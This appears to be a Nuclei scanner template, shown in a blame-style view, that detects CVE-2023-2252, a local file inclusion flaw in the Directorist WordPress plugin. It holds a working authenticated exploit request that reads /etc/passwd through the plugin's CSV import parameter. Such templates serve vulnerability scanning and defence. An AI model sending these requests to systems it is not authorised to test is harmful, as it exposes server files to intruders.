2023-07-07 09:38:49 +00:00
|
|
|
id: CVE-2023-2252
|
|
|
|
|
|
|
|
info:
|
|
|
|
name: Directorist < 7.5.4 - Local File Inclusion
|
|
|
|
author: r3Y3r53
|
|
|
|
severity: medium
|
|
|
|
description: |
|
|
|
|
Directorist before 7.5.4 is susceptible to Local File Inclusion as it does not validate the file parameter when importing CSV files.
|
2023-09-06 11:43:37 +00:00
|
|
|
remediation: Fixed in version 7.5.4
|
2023-07-07 09:38:49 +00:00
|
|
|
reference:
|
|
|
|
- https://wpscan.com/vulnerability/9da6eede-10d0-4609-8b97-4a5d38fa8e69
|
|
|
|
- https://wordpress.org/plugins/directorist/advanced/
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2023-2252
|
|
|
|
metadata:
|
|
|
|
verified: true
|
2023-09-06 11:43:37 +00:00
|
|
|
max-request: 2
|
2023-07-15 16:29:17 +00:00
|
|
|
tags: wpscan,cve,cve2023,lfi,directorist,wordpress,wp-plugin,wp,authenticated
|
2023-07-07 09:38:49 +00:00
|
|
|
|
|
|
|
http:
|
|
|
|
- raw:
|
|
|
|
- |
|
|
|
|
POST /wp-login.php HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
|
|
|
|
log={{username}}&pwd={{password}}&wp-submit=Log+In
|
|
|
|
- |
|
|
|
|
GET /wp-admin/edit.php?post_type=at_biz_dir&page=tools&step=2&file=%2Fetc%2Fpasswd&delimiter=%3B HTTP/1.1
|
|
|
|
Host: {{Hostname}}
|
|
|
|
|
|
|
|
cookie-reuse: true
|
2023-07-15 16:29:17 +00:00
|
|
|
|
2023-07-07 09:38:49 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: regex
|
|
|
|
part: body
|
|
|
|
regex:
|
|
|
|
- "root:[x*]:0:0"
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
2023-10-19 13:13:52 +00:00
|
|
|
# digest: 490a00463044022026fb41b8a14becbf76dc5556a0d36879cfe65f0c27537a808d5e16af0e029c2e02205634041ceb1a67084ea5592b6e9e38b29b692ac7543575f27191980f17a7b3d1:922c64590222798bb761d5b6d8e72950
|